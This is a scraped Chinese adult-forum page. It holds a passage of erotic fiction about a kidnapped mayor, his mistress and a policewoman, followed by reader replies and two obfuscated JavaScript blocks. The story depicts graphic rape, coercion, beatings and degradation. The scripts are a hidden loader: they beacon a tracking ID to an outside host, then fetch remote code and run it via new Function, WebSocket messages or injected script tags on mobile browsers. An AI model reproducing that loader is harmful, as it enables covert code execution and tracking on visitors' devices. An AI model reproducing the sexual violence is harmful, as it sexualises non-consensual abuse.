真穗又把肉袋里的球一个一个的含在嘴里吸吮。虽然还不到硬邦邦的程度,但以他的年龄而言,算是惊人的向上耸立。

“差不多了,就趴在这里。”真穗只好把头靠在地上,把丰满的屁股高高抬起。

“很好,顺便要向市长请求给你插进来。”

“……”稍犹豫时,铁管打在真穗的屁股上。

“噢……”

“说!”

“唔……矢田市长……请给我插进来吧……”真穗闭着眼睛说。矢田双手抱住如水蜜桃般的屁股,猛然插入。

“啊……”从屁股来的快感,使真穗忍不住扭动屁股,性感迅速上升。抽插的动作更快了。性高潮接近了。矢田抱住屁股的手也更用力。

“停止!”杉田突然大叫。“还差一点就……”矢田露出痛苦的表情仍在抽插。

“我叫你马上停止。”杉田把矢田推开。

“你这个市长真够色的了。暂时把他关在隔壁的房间。”杉田说完,取代矢田和真穗的屁股结合。

“老头!跟我来。”江岛把矢田的双手困绑后,赤裸的拉到隔壁的房间。 “那么,让我尝一尝这边的味道吧。”细野离开摄影机,把坐在墙角的野泽寿子拉到房中央。

(2)

轮到第三个的杉田,正从寿子的屁股后面抽插。她是赤裸的,手脚都没有捆绑。可是寿子从开始就没有反抗的意识,有眼睛看不见的绳子把寿子的四肢绑紧。“野泽寿子,你的弟弟在我们手里,要和我们合作,不然不能保证你的弟弟安全。”

这通电话是来大坂的前夕打来的。弟弟忠生比她小十岁,是唯一的弟弟。他们自幼丧父。忠生现在就读大学,生活费和学费是寿子从矢田那里拿来的金钱支付。忠生是反对这种做法。

“等你毕业有了工作再慢慢还吧。”寿子这样让弟弟继续读书。听到弟弟被激进派份子绑架,寿子感到非常惊慌。

“要我合作什么事呢?”

“很简单,把你和矢田在大坂见面的地方告诉我们就行了。”

“这种事……”

“你装傻也没有用,我们已经调查过了。你还是坦白的说出来,这样可以饶了你弟弟一命,不然……”

“还什么也没有做。”

“我弟弟真的没有事吗?如果在你们那里,让我听一听他的声音吧。” “当然可以。”立刻听到近似吼叫的声音。

“姐姐!我不要紧……不用担心……我现在……”忠生的话说到这儿就断了。 “忠生,你怎么了?你做了什么事……”

“不用担心,他想把这个地点说出来,所以把他的嘴封住而已。你怎么办?难道对弟弟要见死不救吗?”

“好吧……不过,一定要让我弟弟安全回来。”

“我们会遵守诺言,只要你不背叛我们。这件事不可以告诉市长或任何人。万一漏给任何人,你弟弟就没命了。”

“是……”杉田的动作开始加速。没有办法抑制在体内扩散的快感。女人过了三十,身体是最成熟的。

这三个男人都是二十来岁,和矢田半勃起状的东西全然不同。好久没有尝到如此健壮的男人的味道了。寿子无法享受到最后,因为男人们都没有在寿子的体内射精。

刚才的细野就是等待杉田在真穗的体内射精后,立刻压在真穗的身上,然后射精。江岛也是如此。

现在正在抽插的杉田一定也会那样做。嫉妒和屈辱在寿子的心里盘旋,不只如此,矢田也伤害寿子的自尊心。矢田已经无法做正常的性交,所以平时向寿子要求虐待游戏,用皮鞭抽打,把蜡油滴在身上,用电动假阳具折磨。

最近这样的做法还不能勃起,于是开始浣肠。在真穗的面前,只要抚摸她的乳房,用舌头舔下腹部,等到真穗给他口交时,竟然完全勃起。确实,真穗是个完美无缺的美女。有气质和知性,身材高挑,腿的曲线美好,乳房和屁股丰盈,更重要的是她年轻。

这些寿子都承认,但不肯承认真穗比她更富魅力。

杉田的抽插动作变快了。

“啊……”寿子发出甜美的呜咽声,主动的扭动丰满的屁股,同时勒紧男人的肉棒。就在快要达到性高潮时,杉田的肉棒拔出去了。杉田在寿子的身边仰卧,说:来吧。寿子想骑到杉田的身上。

“笨蛋,不是你。”杉田推开寿子,拉真穗骑到他的身上。细野和江岛同时发出淫笑声。

“清理后事吧。”说完,站在寿子的面前,把沾满真穗的蜜汁和男人精液的肉棒,塞入寿子的嘴里。屈辱感使寿子的全身颤抖,但还是用舌尖把萎缩的阴茎舔干净。

双手仍绑在背后的真穗,骑在杉田的腰上,主动扭动屁股,发出性感的声音。接到一色的通知,五分钟后警车赶到。

“市长和公安部的女调查员,以及市长的爱人都被激进派份子给绑架了。”接到通知后,立刻在全大坂市进行严密的临检,成立警网。“是不是很晚了就打瞌睡了?”公安部的二谷警部露出冷漠的眼光挖苦道。

“是……对不起。”无论受到什么样的责备都百口莫辩。

自认为并没有粗心大意,可是发生不良后果就被视为怠忽职守,是这个行业常有之事。

唯一能做到的就是记住停在前面的车型和牌照号码,大概不需要多少时间便能找到吧。唯一担心的是真穗的安危。

在真穗的高跟鞋后跟设置有发报机,发生危险时只要转动一下就能知道她的位置,可是到现在没有发现任何信号。

这表示她现在处于无法转动高跟鞋鞋跟的状态。你不要死。我还没有和你这个警视厅的第一美女同床共眠哪。

真穗和寿子相对而立,不过,真穗的双手困绑于背后。在寿子的脚下有一把竹刀,两个人都是一丝不挂的。

“开始决斗。”杉田下达命令。他们各在真穗的身上发两次后,对这样的玩法感到腻了,于是决定让两个女人搞同性恋。普通的同性恋又不够刺激,要让一个人做女王,另一个做奴隶。于是决定用决斗区分谁是主人和奴隶。

“但她是会武术的调查员,应该公平的决斗。”

杉田把真穗的双手仍捆绑于背后,而寿子可以拿竹刀。真穗完全没有斗志,连寿子也一样,只是低头看脚下的竹刀。

“怎么样?不肯听我的命令吗?”

“不可能的,我做不到。”真穗用低沉的声音说,同时摇摇头。

“是吗?不过,你应该能做到的。”

杉田看着寿子,说:“你没有忘记弟弟的事吧。”

寿子的表情紧张了。“你想安全的救他出来吧。”真穗听不懂他们的谈话。寿子突然拿起竹刀。

“要认真的干,胜利的就可以玩弄对方,轮的就当对方的奴隶。”寿子拿竹刀的手用力,表情僵硬,眉毛倒竖。

“寿子!你等一下!”真穗这样叫也没有用。竹刀挥向真穗。真穗勉强闪开,但又立刻横噼过来。竹刀尖端从乳房下缘掠过。真穗倒在地上闪躲。寿子的竹刀向真穗的头挥下来。真穗滚动身体,第三次打在肩上时,真穗的腿缠绕在寿子的腿上。寿子的身体失去平衡倒下。真穗迅速爬起来,把竹刀踢向墙角。

此时,寿子抱住真穗的腿,力量很大,真穗毫不留情的一脚踢在寿子的腹部。寿子发出痛苦的哼声,但没有松开真穗的腿,想继续踢时,寿子咬到她的小腿肚。犹豫一下时,腿被绊倒,真穗一屁股跌坐在地上。

寿子骑在真穗的身上,抓住头发,用力让后脑撞地面。受到掌掴,但不是用手,

寿子是拿起丢在身边的高跟鞋打真穗的脸。

“那个……把那个……”真穗还没有说完就昏过去了。寿子又抓住真穗的头发,

拉起上半身,用高跟鞋打脸。真穗恢复一点清醒,立刻用头猛撞对方的脸。寿子流出鼻血,摔倒。真穗立刻扑过去,用捆绑的双手抓住高跟鞋,用力转动后

跟,但后跟没有动。

是没有装发报机的高跟鞋,立刻向四周看,看到离开几米的墙边有一只高跟鞋。想滚动身体爬过去,但流出鼻血,如母夜叉的寿子举起竹刀挡在前面。这一次是无法闪避,全身都受到竹刀的猛打。真穗实在不明白寿子为什么对她如此凶猛。 (3)

一盆冷水浇在脸上,真穗才醒过来。“还不起来。”寿子抓住头发,拉起真穗,同时掌打。

“你现在是我的奴隶了。”

“……”真穗张开朦胧的眼睛看站在旁边的男人。

“这是先前决定的。你要顺从她,不然又要用这个东西了。”杉田挥动一下手里的竹刀。

“奴隶要说奴隶的誓言。”

“是……我是奴隶。”真穗说。

“你现在明白了吗?”

“是,我明白了。”

“那么,再说一次。”

“是……寿子女王……”真穗发誓时,寿子的脚踩在真穗的头上。寿子的一切动作都是模仿矢田的。以前是她受到折磨,所以知道该怎么做。现在能玩弄一个比自己年轻美丽的女人,真有说不出的爽快。

“真穗,去把你的高跟鞋拿来。”

“是,寿子女王。”真穗先到有发报机的高跟鞋处,背对着高跟鞋蹲下,想用手拿起来。

“等一下,你是母狗,不可以用手拿。”

“是……”真穗不得不用嘴咬起高跟鞋,送到寿子的面前,然后去拿另一只。“这个高跟鞋很不错,我要穿了。”

“是,请穿”寿子穿上高跟鞋,问:“好看吗?”

“是,很好看。”

“这样高级的高跟鞋,奴隶是用不上的,我替你穿吧。”

“是……可是……”

“你不满意吗?”寿子穿上高跟鞋的脚踩真穗的肩膀。

“哼!现在把高跟鞋舔干净吧。”

“是,寿子女王。”真穗跪在地上舔高跟鞋。

------------------------------------ “鞋底也要舔干净。”寿子抬起脚。真穗认为这是好机会,不顾一切的向鞋底伸出舌头。

“还要舔鞋跟。”寿子把高跟鞋的后跟塞进真穗的嘴里,真穗假装舔,用牙咬住鞋后跟旋转。但毕竟和手不同,转不动鞋后跟。

“你在干什么!”寿子突然用力转动高跟鞋。

“唔……”嘴好像破了,真穗的舌头感到有血腥味。刹那间,抬起头瞪视寿子。

“你这是什么表情!”这一次寿子用鞋尖踢真穗的下巴,真穗的身体翻倒在地上。寿子不顾一切的继续踢真穗。

“好了,差不多了。”杉田抓住寿子的肩制止。

(4)

江岛和细野把真穗拖到隔壁的房间。三坪大的房间虽然有灯光,但没有其他任何东西。全身赤裸的矢田坐在墙边。

“你们等一下。”矢田急忙喊叫,可是房门立刻关上,听到锁门的声音。“做了什么事?”矢田看着全身是伤倒在地上的真穗问。

“是决斗。”真穗连抬起身体的气力也没有,只是简单的说明经过。

“这样看来,寿子是女王,你是奴隶罗?”矢田说完后,又问道:“他们是不是也干了寿子?”

“那种事……”

“你不要管,快回答。”

“是的。”

“果然……她没有性感?”

“……”

“突竟怎么样?寿子是不是很高兴的样子。”矢田抓住真穗的头发,拉起她的脸。

“我……我不知道。”

“不知道?原来你自己有了性感,顾不得去看别人了吗?”矢田推开真穗的头,很不安似的在房内来回跺步。

“寿子是不是有弟弟呢?”

“有。上大学的弟弟。这又怎么样呢?”

“哦,只是……”

“那种不重要,还不快想办法从这里逃出去。真是没有用的保镖。刚才拍的录影带流出市面怎么办?我的政治生涯就完了,你们怎么向我交待?”

“我知道。”

“你知道什么?如果知道,就快想办法。”

“我正在想。”

“你太自负了。应该事先考虑到这种情形,研究好对策是你的工作吧。真是一点用也没有,还被那些家伙干到有快感,你身为调查员,不觉得惭愧吗?”真穗没有回答。现在和任性的老人争论是没有用的。不久,矢田却奇妙的用温柔的口吻说:“我有一件事想拜托你。”矢田的视线盯在躺在地上的真穗雪白的屁股上,丰满的屁股因为受伤显得更性感。

“你大概也知道,我还没有结束……”说到这儿,把话吞进去。矢田坐在那里,肉棒耸天而立。

“能不能让我继续弄下去?”

“市长,你……”

“不要排斥我一个人吧。”矢田的脸露出标准的“矢田微笑”,向真穗走过来。

“请不要胡闹了。”真穗抬起沉重的身体。“为什么是胡闹的事。你不也和他们享受过了吗?可以给他们干,为什么不可以给我干呢?”

“你是市长呀。”

“你是调查员。”

“那是……”可是现在是说什么都不能让他接受的状态。在只有两个人的房间里,双手绑在背后,赤裸躺在地上的美女调查员的裸体,对男人而言实在充满诱惑。

“把腿分开吧。彼此享受一下,你也不会讨厌这个吧。”矢田的手摸到真穗弯曲双腿的膝盖。

“不,不要这样。”真穗把弯曲的腿用力伸直。脚踢在矢田的胸上,矢田的身体翻倒。

“你这个女人!”微笑从矢田的脸上消失,瞪着双眼向真穗的身体扑过来。真穗又用脚踢,但这一次被躲开,矢田的双拳打在真穗的肚子上。

“噢!”真穗无力抗拒了。矢田趁真穗不能抵抗,疯狂的挥拳,即便是老人的拳头,已经虚弱的身体还是受不了。

“啊……饶了我吧……求求你……不要这样了……”

“你答应照我的话做吗?”

“是……照你的话做……”

“做我的奴隶吗?”

“愿意……”

“那就要宣誓。”

“是……”真穗抬起身体,跪在矢田的脚下,额头贴地宣誓。

“主人,我池上真穗,从现在起愿做主人的奴隶。”

“好,舔吧。”矢田抓住真穗的头发,把肉棒塞入嘴里。真穗只好用舌头舔。肉棒立刻开始膨胀。

“是不是很好吃?要更用力的吸吮。”矢田的屁股向前挺,龟头巾到真穗的喉咙。

“噢……唔……”真穗不由得皱眉头。

“你就在这里躺下吧。”

“是,主人。”真穗在地上仰卧,矢田毫不留情的用脚踩真穗的脸。

“舔吧!”脚趾塞入嘴里,真穗只好舔。

“要吸吮。”矢田停顿片刻后,继续说:“一根一根的吸吮脚趾,右脚舔完就舔左脚。”舔完后,矢田用脚爱抚真穗的乳房。和先前的微妙爱抚完全不同,是非常粗暴的揉搓。

“有性感吗?”

“是……有……”

“有性感就应该发出声音吧。”

“是……啊……好……”真穗发出声音。虽是一种演技,但真穗的体内已出现性感的火苗。

“把腿分开。”真穗闭上眼睛,把修长的大腿分开很大。矢田的脚拇趾开始玩弄花瓣。

“这里不是湿润了吗?”

“是……湿润了。”真穗的脸通红,声音颤抖。矢田的脚趾插入已受伤的肛门里。

“啊……”

“怎么样?这样高兴了吗?”

“是……啊……”看到自己的脚趾沾血,矢田忍不住似的压在真穗的身上。 (5)

矢田射精后,身体不动了,过一段时间后才慢慢离开真穗的身体。与此同时,房门打开,细野和杉田进来了。

“两位都满足了吧。”杉田吃吃的笑着。

“老头子的精神还不错,拍出来的当然也很不错。”细野把手里的录影机举起来给他们看。

“什……什么意思?”

“这是偷拍呀。刚才的好像是表演,缺乏真实感。这一次的,任何人看了都会认为是市长和女调查员的不伦关系吧。”

“这……你们……”矢田泫然欲泣,手足无措。

S署的石山警员接到通报是凌晨一时左右。

“在附近的公寓建地有人吵闹,去叫他们安静一点。”石山警员只有二十一岁,很年轻,喜欢警察的工作,荣誉心强烈,但还没有遇到过大事件。

他每次幻想的就是自己一个人追捕绑架的凶嫌或杀人犯,给凶手戴上手铐的场面。而且,轻易就抓到还不够刺激。最好是和凶手格斗后,自己受到骨折等轻伤更有意思。

可是他过去遇到的不是问路就是醉鬼,都不是让他负伤的凶恶犯人。绑架市长的激进派份子如果能出现,那该有多好。两小时前接到“市长被绑架”的紧急通知时,他就这样想。

可是今晚,要自己一个人救出市长的梦可能得放弃了。在公寓里闹的人一定是流浪汉或者是飙车族吧。不过,还是要去一趟。石山警员骑上脚踏车。

这时的真穗,再度跪在寿子的脚下舔大腿根。“肛门也要好好的舔。”寿子分开双腿,双手叉腰下达命令。杉田等三人和矢田都在一旁看。真穗钻进寿子的双腿间,仔细的舔花瓣和肛门。从寿子的花蕊,不停的流出蜜汁。真穗用舌尖把蜜汁涂抹在肛门,舌尖慢慢的插进去。

“唔……好……就是这样。”在肛门上吻后吸吮时,寿子的手抓住真穗的头发,要求更强烈的刺激。寿子的肛门很快的膨胀后绽放,舌尖进入其内旋转时,寿子的哼声变得更大。真穗在受到这样的屈辱中,雪白的大腿留出很多蜜汁。“好了。你做的很好,要给你奖品。”寿子把口水吐在地上。

“舔吧。”

“……”露出犹豫的样子,寿子的手掌立刻打在脸上。

“怎么?你不高兴吗?”

“不……我很高兴……能吃到寿子女王的口水,是奴隶的荣幸。”

“那就快一点舔吧。”

“是……”真穗跪在地上,舔寿子吐的口水。

“好吃吗?”

“是,很好吃。”

“那就给你更好的东西吧。你现在仰卧吧。”真穗仰卧时,寿子跨在她的脸上,说:“你把嘴张开。”真穗张嘴时,惊讶的瞪大眼睛。寿子的花瓣正瞄准真穗的嘴。

“把嘴再张开大一点。你要一滴不漏的喝下去,知道吗?”

“是……是……”真穗点点头,认命似的闭上眼睛。暖暖的水流注入真穗的嘴里。真穗拼命似的吞下去,但还是来不及,从嘴角溢出去。寿子故意扭动屁股,让金黄色的水流喷在真穗的脸上。

“你弄了。”寿子撒完尿,用脚踩在真穗的脸上扭动。

“啊……寿子女王,请原谅我吧……”

“那么把漏出去的也舔干净。”

“是……”真穗在地上,拼命的舔。

石山警员到达公寓后,很快的找到接获通报的房子。房前停着两部汽车。不是流浪汉,也不像飙车族。用手电筒照一下后,向玄关走去。听到玄关有敲门声,杉田等人的表情紧张了。

正在进行性游戏的真穗和寿子,似乎没有听到这个声音。

“会是什么人?”细野说。

“不知道,你去看一看。”

“好。”听到杉田的话,江岛站起来。他手上拿着铁管。来到玄关,从大门的鱼眼向外看的刹那,江岛的脸色大变。

“喂!我是警察,快开门。”门外的警察一面敲门,一面喊话。糟了!江岛急忙跑回房间。

“怎么回事?”

“警……警察来了。”

“什么?”杉田和细野互望一眼。

“喂!快来救我!我是矢田!”矢田突然大声喊叫。

“老头!你给我闭嘴。”江岛一拳打在矢田的脸上,矢田倒卧在地上,不能动了。

“来了几个警察?”杉田问。

“一……一个。”

“那就有办法逃脱了。你去把警察带到这里来。”

“那样做没有问题吗?”

“不要紧,你就说有病人。”

“嗯,知道了。”

“等一下,还是细野去比较好。”细野走出房间,杉田拾起三角裤,塞在两个女人的嘴里,然后和江岛分别站在门的左右,手拿铁管和竹刀。不到一分钟,听到两个人的脚步声。门开了。

“你进去吧!”细野从石山警察的背后用力推。石山警员进入房内的刹那,铁管和竹刀向他的头打下来。只是扭动一下身体,警员就倒在地上,从头上流出血。 “把全体都绑起来。”杉田一面用手铐铐住警员,一面命令。真穗、寿子、矢田、石山的手脚都被困绑,嘴里也塞入东西,其中,矢田和石山都昏迷不醒。 “走了!”

“这些人不带走吗?”江岛依依不舍的看着真穗。

“笨蛋!巾上临检怎么办?”细野和江岛拿起录影机,跟在杉田的后面走出房间。见一伙人走出房间,真穗扭动身体,靠近寿子。

“把高跟鞋……”真穗的嘴里塞着东西,没有办法说出这样的话。

伸出下巴指着高跟鞋。可是不知寿子想着什么,恐惧着摇着头向后退。“高跟鞋!把高跟鞋给我!”

真穗在心里呐喊,想把头靠近寿子。寿子是摇头,想逃开。真穗不得已,用仅剩的体力以身体撞寿子,两个女人的裸体都倒在地上。想用脚尖脱寿子的高跟鞋,但寿子还在挣扎,不容易脱下来。

没办法,真穗只好用头猛撞寿子。寿子的身体这才不动了,也能把高跟鞋脱下来。想用捆绑在背后的手抓住高跟鞋,但手指完全麻 ,动弹不得。真穗想到一个方法让高跟鞋反转,使鞋跟朝上。真穗向鞋跟坐下去。

“唔……”试了两次,终于让鞋跟插入肛门里。肛门原本就受伤,但仍不顾一切的缩紧肛门,扭动屁股。在屁股下面随着鞋跟转动,听到“喀吱”一声。 “快来吧……”真穗在心里念着,随即昏过去。

“邀进派份子绑架大坂市长的事件破案。市长已获救,嫌犯全部落网”。在横滨的一处改造仓库的房内,有三个男人在听广播新闻。其中双手被捆绑,坐在地上的是野泽忠生。

“不妙了。”皮肤较白,留平头的男人熄灭烟蒂说。另一个戴黑眼镜,体格粗壮的男人露出不安的表情问:“怎么办?”

“立刻离开这里,在这里会有危险。”

“这小子呢?”

“带走,随时可以解决的。”只把困绑双脚的绳子解开。

“站起来,跟我们走。”忠生被戴眼镜的男人牵到外面。天色已亮。汽车就停在门前。忠生环视四周。没有看到行人,但听到汽车行驶的声音,可能距离马路不远。

“上车。”戴眼镜的人打开后车门。趁这个机会,忠生用身体撞过去。

“随时可以解决”这句话使忠生采取行动。

“你不要逃!”忠生拼命的向马路奔跑。读大学时,常打篮球,所以对跑步很有信心。留平头的男人立刻发动引擎。

“快上车!”追上在前面追的戴眼镜的男人,让他坐上助手席。

“让他跑掉就算了吧。”

“不行!他知道这个车的车牌号码。”加足油门追赶,还有十米就到马路了。想把忠生逼向右边时,从马路来了一辆右转的货车驶过来。在两车相撞的刹那前,两车都朝左转方向盘,忠生的身体夹在货车和电线之间。

野泽忠生昏迷五天后死了,真穗和一色都参加了他的葬礼。真穗的伤尚未痊愈,但至少可以走路了。

“杀人凶手!”寿子看到真穗,就疯狂的喊叫。

“是你杀了忠生。你不动,忠生是不会死的。”寿子大叫,冲向真穗,抓住她的头发乱打。真穗没有反击,周围的人急忙过来阻止。

“可恶!还我忠生来。”寿子不停的吼叫。

“还是离开这里比较好。”一色的手放在真穗的肩上,催促她离开。

“那个女人已经疯了。”

回到车上,一色点燃香烟,说:“要你不要放在心上,大概也做不到吧。”“没有关系,有时候女人比男人更有韧性。”

“是吗?真是小看你了。”

“嗯?要去哪里?”汽车朝公安部的反方向开去。

“这样的日子回去看部长的脸色,不如去兜风看海吧。在横滨有一家很不错的餐厅。”

“也好。当然是你请客罗。”

“又来了。”一色的双手离开方向盘,以夸大的动作表示不满。

“我可是和你拿一样的薪水。”

感谢您的分享才有的欣赏

我想我是一天也不能离开

路过看看。。。推一下。。。

我一天不上就不舒服


上一篇:好友和妻子的性事

下一篇:高雄市泰国浴真实版本


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};